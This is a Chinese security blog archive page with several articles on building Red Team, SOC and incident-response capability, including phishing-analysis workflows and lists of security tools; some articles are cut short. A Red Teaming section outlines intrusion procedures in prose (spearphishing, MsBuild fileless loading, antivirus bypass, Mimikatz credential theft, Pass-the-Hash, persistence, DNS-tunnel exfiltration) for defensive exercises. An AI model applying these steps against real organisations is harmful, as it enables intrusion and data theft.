分类目录归档:集跬步

Red Team从0到1的实践与思考

0x00 前言

近年来Red Team越来越收到国内外企业的关注,恰逢笔者正在一家大型互联网公司从事Red Team相关的工作和实践,故以此文来简单阐述一下笔者对于Red Team从0到1的一些实践和思考。正所谓“一千个人眼中有一千个哈姆雷特”,此文中仅探讨笔者亲历的Red Team建设工作以及体系思考,观点谨代表个人,读者需酌情参考。

0x01 Red Team是什么

Red Team的概念最早来源于20世纪60年代的美国军方,原文定义如下:

An independent group that challenges an organization to improve its effectiveness by assuming an adversarial role.

翻译过来的大致意思是:一个通过承担对抗性角色来挑战组织以提高其有效性的独立的团体叫做Red Team。

后来,由于信息安全行业与军方的一些相似性,这个概念被引入到了安全行业,现在国际上一般以如下比较通用的定义来描述信息安全行业中的Red Team:

基于情报目标导向来模拟攻击者对企业实施入侵的专门的安全团队

由于Red Team和传统的渗透测试在一些攻击手法上有一些类似,二者很容易引起大家的混淆,很多人甚至干脆把他们混为一谈。我们可以从以下几个方面谈谈二者之间的主要区别:

  • 方法:前者主要来源于威胁情报,后者则是利用黑客的思维来发起攻击;
  • 目标:前者侧重于检测防御能力的弱点以及评估潜在的业务影响(下一节会详细介绍),后者则是在有限的时间内尽可能地发现更多的漏洞;
  • 计划:前者比较灵活且无固定时间限制,后者则需要指定目标范围和测试时间;
  • 过程:前者注重测试的隐蔽性,尽可能的绕过现有的防御系统,后者一般会提前告知防御团队且设置白名单例外,无需隐藏测试行为。

0x02 Red Team的目标

既然已经知道了Red Team的定义,就需要进一步了解一下Red Team的目标,要知道Red Team并不是为了攻击而攻击。我们经常会看到一种比较常见的观点是认为Red Team的目标是站在攻击者的角度来模拟真实入侵者攻击企业从而识别企业的防御弱点。笔者认为这个观点并不完整,也因太过笼统不足以清晰地表述Red Team的目标。其实可以结合前一节中的定义,来细化Red Team目标,具体包含下面几个部分:

  • 学习和利用已知真实攻击者的TTPs来用于攻击:因为Red Team是以情报和目标为导向的,因此我们需要通过威胁情报来了解已知真实攻击者的攻击目标和意图,以及通过ATT&CK和APT组织的分析报告来学习真实攻击者攻击不同行业的TTPs,这样有利于我们有针对性地模拟真实攻击者来攻击目标企业;
  • 评估现有防御能力的有效性以及识别防御体系的弱点并提出具体的应对方案:这是Red Team最为人所知的目标之一,让Blue Team通过已发现的不足来强化防御能力和改进流程,并最终提高真实攻击者的攻击成本;
  • 利用真实有效的模拟攻击来评估因为安全问题所造成的潜在的业务影响:这一点通常很容易被忽略,通过Red Team我们可以为企业管理者提供有效的数据来量化和衡量安全投入的ROI。

0x03 谁需要Red Team

Red Team听起来似乎价值很大,那么是不是所有企业都需要Red Team呢?答案是否定的。事实上,Red Team是建构在有相对健全或者成熟的防御体系之上的,这一点从上一节谈到的目标中有很好地体现。一般来说,一个企业只有拥有了基本的防御和检测的能力,并需要持续检验和改进这种能力时,Red Team才是一个非常不错的选择。如果一个企业连基本的入侵检测能力都没有健全,这种时候搞Red Team就好比空中楼阁,也没有实际的价值和好处。

0x04 Red Team如何工作

本节我将尝试从基本构成,工作流程,协作配合几个角度来谈谈Red Team如何在企业落地实现。

基本构成

在开始组建Red Team时,以下几个部分是不可或缺的基本构成,有了这些基础我们才能开展后续的Red Team工作。

知识储备

为了更好地模拟已知真实攻击者来实施攻击,一般情况下,我们可以通过威胁情报报告,ATT&CKAPT组织分析报告等来积累和学习这些真实攻击者的TTPs。其中一种流行的方法是,以ATT&CK Matrix和APT组织为参考,对具体的攻击技术细节进行分析和总结。

基础架构

工欲善其事,必先利其器。一次成功的Red Team活动是离不开强有力的基础架构的支持的,我们一般按照Red Team的攻击流程至少需要以下几类系统或工具:

  • 信息收集工具:如OSINT(Maltego,ShodanCensysGoogle DorksGithub,SNS等),企业邮箱和域名采集工具(The Harvester等),漏洞扫描器等;
  • Payload生成工具:如Cobalt Strike,Metasploit,Empire,DotNetToJScriptSharpShooterCACTUSTORCHmacro_pack等等;
  • C2架构:包括钓鱼与payload分发系统,基于各种协议(DNS,HTTP,ICMP)或者外部系统(Domain Fronting,Github,SNS等)的short-haul和long-haul C2,如:

谈一谈如何建设体系化的安全运营中心(SOC)

0x00 前言

本文主要是谈谈笔者对于如何建设体系化的安全运营中心(SOC)的一点经验和思考,观点仅代表个人,仅供参考,不具普遍意义。

0x01 什么是SOC

SOC, 即Security Operations Center,我们一般称之为安全运营中心,主要是负责企业的入侵检测,应急响应,以及安全监控等,通常我们会笼统地概括成两个方面即Blue Team (Defensive Security)和Red Team (Offensive Security),详见《甲方安全建设的一些思路和思考》,这里不再赘述了。

那么什么样的企业需要SOC呢?笔者认为凡是有安全团队的企业都需要这样的一个团队。唯一的区别在于,企业规模的大小和业务的复杂性决定了SOC的职责范围和其运作方式。举个例子,对于规模较大的互联网企业,它的SOC的职责包括但不限于以下几种:

  • Incident Response (应急响应)
  • Malware Analysis (病毒分析)
  • Digital Forensics (电子取证)
  • Threat Hunting (入侵检测)
  • Threat Intelligence (威胁情报)
  • Vulnerability Management (漏洞管理)
  • Penetration Testing (渗透测试)
  • Red Teaming

而规模较小的企业,则可以按照企业实际的规模和业务需要逐步包含以上的职责范围。

0x02 如何组建SOC

理论基础

在组建SOC之前,我们需要对一些基本安全理论有一定的了解。只有掌握了这些基础理论知识,我们在组建SOC的时候就会比较有针对性和方向性。

应急响应的ACERR处理模型

一般情况下,任何安全事件的应急响应都可以分为以下几个阶段:

  • Assessment(评估):主要是初步梳理安全事件的类型,产生的原因和评估潜在影响范围;
  • Containment(控制):这个阶段主要是快速找到止损/减轻方案(或者是临时应对措施)将事件影响尽可能控制在最小范围内;
  • Eradication(消除):这个阶段是要找到安全事件产生的根本原因并提出和实施根治方案;
  • Recovery(恢复):主要是确保所有受影响的系统或者服务完全恢复到安全状态;
  • Review(总结和审查):这是每个应急响应的最后阶段主要是总结和梳理安全事件处理和响应的整个时间线和应对方案,学习和审查安全事件产生的根本原因并生成知识库以便以后遇到同类安全事件可以快速地找到处理和应对的方法。

Cyber Kill Chain模型

Cyber Kill Chain模型将攻击者的攻击过程分解为如下七个步骤:

  • Reconnaissance(侦查): 入侵者选择目标,对其进行研究,并尝试识别目标网络中的漏洞;
  • Weaponization(工具化): 入侵者创建针对一个或多个漏洞定制的远程控制的恶意软件工具,例如病毒或蠕虫;
  • Delivery(投送): 入侵者将恶意软件工具投递到目标(例如,通过电子邮件附件,网站或USB驱动器);
  • Exploitation(攻击利用): 恶意软件工具的利用触发器,它在目标网络上执行来利用漏洞;
  • Installation(安装植入): 恶意软件工具安装入侵者可用的后门;
  • Command and Control(命令与控制): 恶意软件使入侵者能够对目标网络进行持久访问和利用;
  • Actions on Objectives(目标行动): 入侵者采取行动实现其最终目标,例如数据泄露,数据销毁或加密勒索。

通过以上的模型将攻击者的攻击过程分解,我们就可以找到对应的防御方法:

  • Detect(检测):确定攻击者是否在嗅探或者扫描;
  • Deny(拒绝):防止信息泄露和未授权访问;
  • Disrupt(中断):阻止或更改攻击者的出站流量;
  • Degrade(降级):反击命令与控制;
  • Deceive(欺骗):干扰命令与控制;
  • Contain(控制):网络分段隔离。

MITRE’s ATT&CK矩阵

MITRE’s ATT&CK矩阵,是一个用于分析网络入侵者的战术和技术的知识库,它可以用于了解和分析攻击者所有当前已知的攻击技术和行为,以便于规划安全性改进以及验证防御体系是否正常工作。通俗地说,这其实就类似于对攻击者进行画像,再利用这个入侵分析矩阵来全面了解我们的攻击者从而帮我们来设计和改进我们的防御体系。

系统工具

这部分可以参照以下资源,这里就不再赘述了:

0x03 SOC如何工作

当我们组建好了SOC,如何才能让其有效的工作呢?下面我将分别从组织架构,职责划分,有效协作几个方面来做简单地的讲解。

组织架构

SOC就像一台机器,而SOC的每个组成部分就是机器的一个个零部件。一个体系化的SOC运营就是把整体的安全运营拆分成一个个独立的子模块,通过各个子模块之间的相互配合和协作,最终有效处理一个复杂的安全事件。从组织架构上,一般会把SOC分解为Defensive Security团队和Offensive Security团队,如下:

 

职责划分

SOC组织架构是需要支持不同的工作职责的,我们把这些不同的子模块/团队按照职责的不同划分成以下几类:

Tier 1团队

主要负责直接应对和处理企业内外的各种安全事件,例如:Incident Response,提供7*24小时的应急响应服务。这类团队通常需要具备足够的技术知识面,良好的沟通和协调能力,出色的安全事件分析能力等。

Tier 2团队

主要为Tier 1团队提供技术上的深度支持,例如:Malware Analysis,Digital Forensics,Threat Hunting,Threat Intelligence,以及Vulnerability Management等。这类团队注重的是分析和调查安全事件和问题的根本原因,实施有效的应对措施和防御策略。

Tier 3团队

主要负责从攻击视角来检验当前已有的入侵检测和防御能力,例如:Penetration Testing和Red Teaming等。这类团队侧重于站在入侵者的角度来模拟实际的攻击者对企业资产和信息实施有计划和目的的渗透和入侵,以此来检验Tier 1和Tier 2团队的应对和处置能力,包括:

  • 能否检测到?
  • 多久能检测到?
  • 检测到什么程度?
  • 有无实时阻断能力?
  • 多久能阻断?
  • 等等…

有效协作

当我们已经具备了以上的组织架构和清晰的职责划分,接下来一个问题就是如何让各个团队之间进行有效的协作从而发挥最大的功效来应对各种安全威胁,我将尝试用下面几个典型的案例来简单加以阐述。

被动应急与响应

Incident Response团队收到一个员工上报的钓鱼邮件,进过初步分析发现该钓鱼邮件附带一个HTML文件引诱收件人点击一个外部链接来下载和打开一个Word文档文件,沙箱分析这个文档不包含任何宏来启动PowerShell或者VB脚本等常见利用方法。

首先,Incident Response团队对外部可疑域名执行DNS sinkhole操作。应急响应人员迅速查询邮箱安全网关日志发现多个内部员工收到了来自于该外部可疑发件人的邮件,并立即清除所有邮件服务上的该可疑邮件,同时更新邮件网关的检测和过滤规则。

随后,Malware Analysis团队去深度分析和调查该Word文档。经调查发现该可疑样本利用了一个已公开披露的Office软件的漏洞执行命令从Stage 2域名下载并安装后门来链接C2的IP,调查结果反馈给Incident Response团队。

然后,Incident Response团队根据已获得域名和C2信息分析网络,EDR,DNS,DHCP等日志找到所有执行该Word文档的终端电脑和用户。

Digital Forensics团队跟进对已感染终端进行实时或者线下取证分析获取到更多的IOC和TTP信息,调查结果同样反馈至Threat Hunting和Incident Response团队。

Incident Response团队梳理所有已知信息(包括:域名,IP,文件hash,命令行,注册表等等)添加至IOC检测平台,确保终端防病毒软件可以检测所有已知的后门样本,确保所有已知恶意域名和IP被block,隔离所有已感染主机,重置已感染用户的用户凭证等等。

Vulnerability Management团队扫描所有存在该office软件漏洞的主机并进行补丁推送。

Threat Hunting团队根据所有已知的TTP开发和添加检测规则或者模型用于主动检测。

主动检测与响应

Threat Hunting团队针对某类恶意软件的行为特征开发了一个检测规则或者模型,并触发了一例可疑的告警。

Incident Response团队的安全分析师跟进调查EDR日志发现某终端主机确实存在与该类恶意软件类似的行为特征,并联系Digital Forensics和Malware Analysis团队对感染主机进行实时取证分析和Malware分析,结果显示该恶意软件生成了可以bypass当前终端防病毒软件的后门,并利用了一些当前检测规则未知的方式来与C2通信。同时,分析发现该恶意软件的感染是由于员工安全意识不足插入了不可信的U盘等外部设备引起的。

之后,与被动应急与响应类似,Incident Response团队梳理所有已知信息(包括:域名,IP,文件hash,命令行,注册表等等)添加至IOC检测平台,确保终端防病毒软件可以检测所有已知的后门样本,确保所有已知恶意域名和IP被block,隔离所有已感染主机,重置已感染用户的用户凭证等等。并对引起该问题的员工所在的部门强制进行企业安全意识培训。

最后,Threat Hunting团队根据所有最新调查发现的TTP来更新或者优化当前的检测规则或者模型,以此来形成一个有效的主动检测与响应的安全闭环。

威胁情报分析与利用

Threat Intelligence团队通过情报共享组织掌握到了一条最新的情报,即有黑客在知名黑客论坛售卖能够收集某些特定企业的用户数据的工具,其进行初步地分析和梳理该情报后发现:

  • 情报源的可靠性较高,因为其发布于知名黑客论坛,且该黑客以往多次售卖过类似可利用的工具;
  • 所在公司确实是该工具宣称的特地目标企业之一;
  • 该工具的主要作用是收集目标企业的客户支付信息和账户登录凭证信息;
  • 该工具的分发手法主要是社工和web攻击。

Threat Intelligence团队根据情报共享组织提供的已知IOC和OSINT信息整理出了初步的TTP,并反馈给Incident Response团队和Threat Hunting团队。

随后,Incident Response团队跟进分析确定了下一步的调查方向,比如:

  • 监控最近一段时间的登录接口以及涉及用户支付流程的页面是否产生了异常流量;
  • 检查最近企业的钓鱼邮件的过滤和分析结果,如钓鱼邮件的上升趋势;
  • 关注终端的恶意代码检查和趋势分析来尝试找到更多的可能的攻击痕迹;
  • 利用一些已知的IOC与内部的日志监控系统做匹配和联动,例如:该黑客的id是已知的,可以尝试做更多的匹配分析来检查恶意代码中是否存在与这个id有关的关键词等。

一旦上述任何调查方向有了新线索,便可以联系Tier 2团队跟进分析和调查,确定更多IOC和TTP,并做相应的应对措施。

最后同上,Threat Hunting团队根据所有已知的TTP开发和添加检测规则或者模型用于主动检测。

Red Teaming实践

Red Teaming团队通过以下的TTP来模拟Threat actors入侵企业从而检验Tier 1和Tier 2团队能否进行有效检测和响应。

目标(Goals)

模拟某个国家级的APT组织来入侵企业从而获得企业的敏感数据

战术(Tactics)

  • 鱼叉式钓鱼
  • 物理访问
  • 社工
  • 远控软件的投递与安装
  • 确保后门软件不能被虚拟机,debugger或者沙箱分析
  • 后门使用加密配置文件,支持高度定制和可配置化,如

    • phishing基础架构
    • C2基础架构
    • 持久化机制
    • 加密密钥
  • 基于Domain Fronting的C2通信

技术(Techniques)

  • PowerShell
  • 脚本化与无文件化,如:MsBuild.exeDotNetToJScript
  • 软件打包bypass防病毒软件
  • 保证持久化

    • 计划任务
    • 注册表/启动目录
    • 修改快捷方式
    • WMI(Windows Management Instrumentation)事件订阅
  • Bypass UAC来实现本地提权
  • Pass the Hash/Pass the Ticket来实现横向移动
  • Tor proxy配置以及Domain Fronting绕过流量检测

流程(Procedures)

初始感染

利用鱼叉式钓鱼发送钓鱼邮件,将恶意程序放置在信誉度良好的外部站点上,编写精心设计和欺骗性很高的邮件内容来引诱目标用户点击该外部链接打开恶意文档,如word文档,hta文件等。

建立根基

一旦目标用户打开恶意文档,执行PowerShell脚本下载不具备危险性的XML文档并调用MsBuild.exe来执行XML文档中内嵌的恶意代码注入内存来绕过防病毒检测生成一个具备少量功能的downloader,如偷取用户凭证,收集浏览器历史,或者截图等。

权限提升

通过已安装的downloader下发特定的用户凭证盗取工具(如:WCE, Mimikatz, Procdump, Keylogger等)来盗取用户密码或密码hash,同时收集防病毒软件的信息并绕过防病毒来完成权限提升。

内部侦查

通过一些常见的系统命令或者下发定制脚本来探测内网信息,如枚举域信息,组策略对象中的各种用户和用户组配置信息。

横向移动

使用收集到的用户凭证,PtH (Pass the Hash), PTT (Pass the Ticket)利用RDP,PsExec, Mimikatz, RemCom等来完成内网的横向移动。

维持权限

利用计划任务,注册表/启动目录,修改快捷方式等方式来保证持久化。

完成目标

逐步渗透内网的核心机器,偷取企业的核心数据,并利用DNS隧道,Domain Fronting或者加密数据通过HTTPS等更加隐秘的方式外带出去,达成最终目标。

实践活动完成后,Red Teaming团队与Tier 1和Tier 2团队复盘整个模拟入侵过程的时间线,分析和总结没有被检测到的点以及整个入侵防御体系存在的问题,并提出改进方案,以便在下一次的实践中检验改进成果。

0x04 总结

笔者观点,SOC的体系化建设:系统工具是基础,体系结构是重点,有效协同是关键。

0x05 参考

甲方安全建设的一些思路和思考

0x00 前言

本文主要是介绍一下笔者对于甲方安全能力建设的一些经验,心得和零散的思考。需要特别强调的是不同企业的实际情况不尽相同,本文仅供参考,不具普遍意义。

0x01 Red Teaming

近几年随着Red Team建设的话题越来越流行,不管是甲方或者乙方都在极力的发展自己的Red Teaming能力,尤其是各个乙方都推出了自己的Red Team的服务,如:FireEye(https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/pf/ms/ds-red-team-for-security-operations.pdf),但是最终目的都是为甲方输出检验企业的Detection和Response的能力,找到防御弱点进而优化防御系统和流程。

我们不禁要思考一下,到底什么样的企业才真的需要Red Team?当然,输出安全能力和服务的乙方不在讨论范围内,因为其最终是为了服务和支持甲方。根据我的观察和发现,目前大部分人很容易把Red Team和Penetration Testing弄混或者干脆混为一谈。其实二者有共同点但也有本质上的不同,简单做个比喻就是忍者(隐秘,快速,准确,一击即中)和海盗(强壮,贪婪,可以刚正面,一波高地)的区别,各有侧重和优劣,但侧重点不同,比如,Red Team类似忍者,侧重于精心准备(如:社会工程学等)收集信息进而绕过现有的防御体系(类似于APT)来检验防御和检测能力;而Penetration Testing则如同海盗,侧重于尽可能多地发现应用,系统,网络,设备等的漏洞,并利用其发现更深层或者复杂的漏洞从而来评估风险。所以,答案显而易见,一个企业只有拥有了基本的防御和检测的能力,并需要持续检测和改善这种能力时,Red Team就是很好地选择了。

那么,什么样的Red Team才算合格和有效呢?如前面所说,Red Team如同忍者去做暗杀,既然暗杀那么就需要一个详细的计划,如:目标是什么(暗杀对方头目),手段是什么(前期侦查对方大本营,守卫布局,对方头目的日常习惯和出现的场所,会不会功夫等),如何去执行(选择某个夜黑风高的晚上,众人都准备或者已经睡觉的时候,摸进对方大本营,提前隐藏在对方头目习惯出现的场所,等待其出现,再一刀毙命)。对应到Red Team就是,

1)设置好这次行动目的是模拟偷取公司的客户资料;

2)提前做好侦查看看公司都可能有哪些人会碰到这类数据,有哪些防御检测方式(如:反病毒,入侵检测,流量分析);

3)针对可能接触数据的人员做定向钓鱼攻击或者面对面的社工,安装专门制作的绕杀软的工具,利用常见的社交或者云存储网站来做C2,等待时机控制机器,获取必要的用户凭证,盗取客户资料,销毁痕迹,最终走人。

因此,一个合格的Red Team,需要具备模拟攻击者入侵的各种能力,手段以及假想的目的。想要具备这种能力的一个最简单有效的方法,就是从现有的真实世界里发生的APT攻击活动中抽取TTP来模拟真实的threat actors,分类并总结他们曾今采用的手段,方法,技术和工具,然后加以优化和改进,最终结合每个Red Team活动的假想目的来模拟不同APT组织对于公司的入侵,以此来检测已有的防御和响应体系是否有效。

0x02 Blue Teaming

我们在说Blue Team时,通常是指在一个企业里负责入侵检测和应急响应的团队的统称,一般情况下(尤其是规模较大的企业)会至少细分为以下几个团队:

  • Threat Hunting(入侵检测):主要负责根据已知威胁的TTP(如APT活动)和根据常见入侵活动的行为特征(如批量端口扫描,同一系统账户的短时多次尝试登录,office软件进程的可疑子进程的派生等等)来开发入侵检测规则,或者利用机器学习,深度学习等更高级的数据挖掘技术来研究和分析威胁特征;
  • Incident Response(应急响应):主要负责处理和调查企业的安全事件(如:外部应用系统被入侵,内网主机被入侵,以及由Threat Hunting的规则触发的各类入侵报警等)以及从真实的安全事件中来分析和提取自产的IOC以及最新的威胁特征;
  • Vulnerability Management(漏洞管理):主要负责对企业所有资产(包括应用和原代码)的持续漏洞扫描,追踪,修复以及管理;
  • Threat Intelligence(威胁情报):主要负责追踪和分析外部已知APT活动,地下黑市和深网或暗网里的各种威胁情报信息,并加以分类总结成TTP以及IOC提供给其他团队加以利用和深层分析(如前面提到的Threat Hunting,以及Red Team)。

而且这些子团队都不是独立工作的,其之间都是相互配合和支持的。我们可以举个常见的例子来加以解释一下,比如threat hunting可能会通过已知的规则发现了一个可能的入侵行为;接着incident response迅速跟进进行流量、日志或者取证的分析发现了之前未被识别的威胁特征;然后threat hunting基于该特征开发最新的检测规则,threat intelligence以此进行情报梳理和比对并最终发现这是某个最近比较活跃的APT组织的活动,随后搜集相关TTP反馈给threat hunting;最后,vulnerability management团队扫描企业所有可能存在弱点和受影响资产,追踪和修复。

综上可见,Blue Team不是gank选手,而是讲究的团队合作和相互配合的团战协作,合理的利用和集合各个子团队的优势便可以大大提高入侵检测的准确性和应急响应的快速性。

0x03 应急响应

在开始之前,先谈谈我个人理解的应急响应是什么?顾名思义就是对企业发生的安全事件作出快速应对和及时响应从而减少由于安全事件造成的影响。

一般情况下,任何安全事件的应急响应都可以分为以下几个阶段:

1)Assessment(评估):主要是初步梳理安全事件产生的原因和评估潜在影响范围;

2)Containment(控制):这个阶段主要是快速找到止损/减轻方案(或者是临时应对措施)将事件影响尽可能控制在最小范围内;

3)Eradication(消除):这个阶段是要找到安全事件产生的根本原因并提出和实施根治方案;

4)Recovery(恢复):主要是确保所有受影响的系统或者服务完全恢复到安全状态;

5)Review(总结和审查):这是每个应急响应的最后阶段主要是总结和梳理安全事件处理和响应的整个时间线和应对方案,学习和审查安全事件产生的根本原因并生成知识库以便以后遇到同类安全事件可以快速地找到处理和应对的方法。

为了便于大家更好地理解怎么运用以上这些步骤来帮助我们做好应急响应,以下我以一个企业经常会碰到的钓鱼邮件为案例。比如,我们的企业员工上报了一封钓鱼邮件,那么作为应急响应团队应该怎么做?我们都知道钓鱼邮件是入侵者(APT组织)攻击大型企业的最直接有效的方法。当我们的应急响应人员遇到这样的攻击试图时,

第一步,我们要初步分析钓鱼邮件的攻击方法,通常有以下两种。分析了攻击方法,我们就需要评估影响,比如,哪些人收到了该邮件,哪些人可能访问了恶意链接,哪些人下载了恶意文件,哪些人执行了恶意文件,哪些数据可能受到影响等等;

  • Credential Harvesting:设置一个伪造的邮箱或者系统登录界面(如发送一个诱饵链接或者在邮件里嵌入一个html页面)来盗取有效的用户名和密码;
  • Malware:一般包括两种方式,一是通过附件直接发送恶意文件,二是通过发送链接来诱骗用户点击下载恶意文件。

第二步,实施控制措施或者减轻方案,如针对通过链接来偷取用户名和密码或者下载第一阶段的恶意文件的域名我们可以实施DNS sinkhole(详情可以参照:https://en.m.wikipedia.org/wiki/DNS_sinkhole),对于利用附件直接发送恶意文件的情况我们可以通过静态或者动态沙箱(例如cuckoo,virustotal等)来分析恶意文件的行为并抽取IOC(可能是后续阶段C2的域名或者IP,亦或者是执行的子命令)实施DNS sinkhole,防火墙IP黑名单,或者终端防安全防护软件添加行为识别特征或者文件hash黑名单等等措施;

第三步,当恶意行为被有效控制后,我们便需要实施清除活动,如:清除所有收到的恶意邮件,对访问过恶意链接并且可能潜在泄露过用户名和密码的用户进行账号重置,对于下载执行过恶意文件或者访问过后续阶段的域名或者IP的用户电脑进行重装等等;

第四步,这个阶段我们需要确保我们在第三步中的所有清除活动按照预期完成,并且所有用户和系统恢复正常使用;

第五步,当一切恢复正常,我们需要对这次的钓鱼邮件事件做复盘分析,如:为什么我们的邮件安全网关没有检测到和拦截这个钓鱼邮件?为什么我们的员工会点击这些钓鱼邮件?我们的防御和检测的漏洞在哪?下次再发生类似事件我们应该怎么办?等这些问题都找到对应的答案了我们则需要录入应急响应知识库以备后用。

综上,一个有效的应急响应是需要一个相对完整的流程来保证,如此一来便可以保证应急时不慌乱有条理且快速有效。

0x04 内网入侵检测与防御

本章节将依据我个人的一些工作经验和思考分别从平台搭建,工具配置,入侵调查与分析三个方面来聊聊企业的内网入侵检测和防御的建设思路。

一、平台篇

通常来说,一个企业要想做好内网检测和防御,首先要解决的问题就是感知能力,这就好比是人的五官要可以感知到周遭环境的变化,那么反映到安全平台上我们就需要一个统一的日志收集和分析平台。那么需要收集哪些日志呢?是所有的都收集吗?还是有选择性地收集?又如何来确定优先级呢?其实日志的收集切忌盲目全收,否则就会浪费了大量的人力物力财力到头来搜集了一堆日志却不知道如何使用。最好是结合应用场景来制定优先级,循序渐进。举个例子,比如当我们的一个应用场景是检测办公网中的入侵行为,我们需要解决的核心问题其实就是谁在什么时间什么机器上运行了什么进程做了什么操作。分解一下这个问题,首先我们需要有日志能帮我们定位每个内网用户,如:DHCP,DNS,Kerberos Tickets(AD认证),Windows Event Logs,Antivirus等;接着我们想要知道什么时间什么机器上运行了什么,如:主机进程树和网络连接日志(即:Event Tracing for Windows)等;最后我们需要知道做了什么操作(网络行为等),如:网络设备出口流量,Web网关日志(HTTP流量),IDS日志,WiFi日志,邮件网关日志等等。这样,我们就能有针对性地收集我们当下最需要的日志并可以利用这种方法来逐步扩大日志收集的种类。

有了统一的日志收集平台,接下来我们便需要一个持续的威胁检测平台其主要作用就是编写各种检测规则和机器学习模型来对所有收集到的日志进行匹配检查以保证之前的已知威胁不会被忽略。

接着,我们需要一个IOC检测平台,其主要作用是用来对外部情报信息或者内部自产的情报信息进行实时匹配和报警以确保当前所有的已知威胁能被检测出来。

最后,我们还需要一个内部威胁追踪和记录平台,其主要作用是用于流程化和规范化地记录和总结所有以往发生的入侵事件的调查过程和分析结果以便于日后查询和关联分析。

总之,安全平台建设是企业内网入侵检测和防御的基础,只有搭建了这些基础平台,才能谈后续的工具配置和入侵分析与调查。

二、工具篇

在上一篇中我们聊到安全平台建设是企业内网入侵检测和防御的基础,在这个基础之上今天我们来聊聊工具配置。简而言之,就是有了感知能力,需要哪些工具来帮助我们分析和调查入侵,所谓工欲善其事必先利其器。

一般来说,最常见的入侵内网的手法就是钓鱼邮件和社工,而其中以钓鱼邮件最为典型,因此做好钓鱼邮件的防范是最为简单有效的防御内网入侵的方法。我之前曾提到过钓鱼邮件的常见手法,

  • 发送链接模拟邮箱或者内部系统登陆界面收集企业员工的账号密码;
  • 发送链接诱导员工点击下载恶意的office文档;
  • 直接发送恶意的office文档或者PE文件或者恶意程序的压缩包作为附件并诱导员工打开。

针对以上几种手法,我们至少准备以下几类工具来辅助分析。
第一类,域名与IP检测工具:

  • https://centralops.net/co/DomainDossier.aspx?dom_whois=1&net_whois=1&dom_dns=1
  • https://www.threatcrowd.org/
  • https://www.threatminer.org/
  • https://www.virustotal.com/en/
  • https://www.talosintelligence.com/
  • https://login.opendns.com/
  • https://www.alexa.com/siteinfo
  • https://x.threatbook.cn/en
  • https://checkphish.ai/domain/avfisher.win

第二类,URL检测工具:

  • https://urlscan.io/
  • https://sitecheck.sucuri.net/results/pool.cortins.tk
  • https://quttera.com/
  • https://www.virustotal.com/en/
  • https://checkphish.ai/

第三类,TOR节点检测工具:

  • https://www.dan.me.uk/torcheck
  • https://exonerator.torproject.org/
  • https://ipduh.com/ip/tor-exit/
  • https://torstatus.blutmagie.de/

第四类,在线恶意程序或文档检测工具:

  • https://www.virustotal.com/en/
  • https://malwr.com/
  • http://camas.comodo.com/
  • https://x.threatbook.cn/en
  • https://www.reverse.it/
  • http://www.threatexpert.com/submit.aspx
  • https://www.vicheck.ca/
  • https://virusshare.com/
  • https://malshare.com/
  • https://github.com/ytisf/theZoo

第五类,动态恶意程序或文档分析工具:

  • Cuckoo: https://github.com/cuckoosandbox/cuckoo
  • Regshot: https://sourceforge.net/projects/regshot/
  • Process Hacker: http://processhacker.sourceforge.net/
  • Process Monitor: https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx
  • ProcDOT: https://www.cert.at/downloads/software/procdot_en.html
  • WinDump: https://www.winpcap.org/windump/
  • Graphviz: http://www.graphviz.org/Download..php
  • Capture-BAT: https://www.honeynet.org/node/315 (x86 environment only)
  • Fakenet: https://sourceforge.net/projects/fakenet/
  • Wireshark: https://www.wireshark.org/#download

第六类,邮件检测工具:

  • http://spf.myisp.ch/

第七类,Google搜索,这也是最简单暴力但却十分有效的工具之一。

在分析内网入侵时合理地使用以上这些工具往往会有事半功倍的效果。另外,作为一个入侵分析和响应工程师切忌在没有网络隔离的情况下在办公电脑上直接访问可疑链接或者分析恶意样本文件。

三、分析篇

在前两篇中,我们分别谈到了企业内网入侵检测和防御所需要的安全平台建设和工具配置,有了这些基础我们便来聊聊如何运用这些已有的平台和工具来分析真实的内网入侵事件。

为了更好的说明这个问题,我将仍以最常见的利用钓鱼邮件入侵企业员工电脑并进而入侵内网为例来说明如何分析这类的入侵事件。为了能够检测和分析这类入侵事件,我们需要有能力获得最原始的钓鱼邮件,这就需要我们从至少以下几个途径来获取:

  • 企业员工主动提交可疑的钓鱼邮件,这就需要员工具备一定的安全意识(安全意识培训的重要性),以及统一的可疑邮件提交平台(需要开发成本)
  • 邮件安全网关,如:Ironport,FireEye Email Security等
  • IOC检测平台,及时检测已知的恶意域名或者IP,可疑的发件人,恶意附件等

当我们拿到了原始的钓鱼邮件,首先需要确保将其转化成EML文本格式(可用工具https://github.com/mvz/msgconvert),接着,我们至少需要从以下几个方面来分析:

1)原始邮件头,包括:From, envelope-from, SPF, client-ip等;
1.1)可以通过dig命令,如:dig -t txt baidu.com,来检查邮件是否被spoof了;
1.2)对比From和envelope-from是否一致,也是一个判断是否为恶意邮件的有效方法.
2)原始邮件正文,包括:域名/IP,URL,附件等;
2.1)域名/IP和URL的分析可以使用工具篇里提到的相应工具来分析,判断是否存在multi-stage C&C;
2.2)附件的分析也可以使用工具篇里提到的在线/本地恶意程序分析沙箱或者自行逆向分析,进而了解恶意程序的执行逻辑以及对应的IOC(域名,URL,文件,注册表键值,执行的系统命令等);
2.3)利用日志分析平台,查询恶意域名的DNS或者HTTP(S)流量日志,结合主机EDR(Endpoint Detection and Response)终端日志将DNS请求关联到相应的主机进程,如:ETW for Windows,BCC/eBPF for Linux等;
2.4)查询触发恶意域名的DNS请求的主机进程的整个进程树,分析malware完整的执行链,例如:outlook.exe -> winword.exe -> cmd.exe -> powershell.exe;
2.5)查询所有触发了上述执行链的受感染主机,并重复2.4)的步骤直到没有新的执行链被发现为止.

在分析完了以上这些,我们就可以添加对应的防御和检测措施了,例如:

1)通过应急响应章节中提到的DNS Sinkhole来阻断所有恶意域名的DNS请求;
2)确保终端反病毒程序可以检测并清理每个阶段的恶意文件;
3)添加防火墙规则来阻止内网主机对恶意IP地址的访问;
4)隔离重装已经感染的主机进行;
5)重置受感染内网用户的登录凭证;
6)删除所有企业用户收到的来自同一恶意发送者的邮件;
7)将分析得出的IOC添加到IOC检测平台;
8)依据已发现的Malware执行链添加新的入侵检测规则.

至此,我已简单地介绍了一个相对完整的针对利用钓鱼邮件入侵企业员工电脑并进而入侵内网的入侵事件的分析和防御的方法与流程。

一个简单的分布式WEB扫描器的设计与实践

0x00 前言

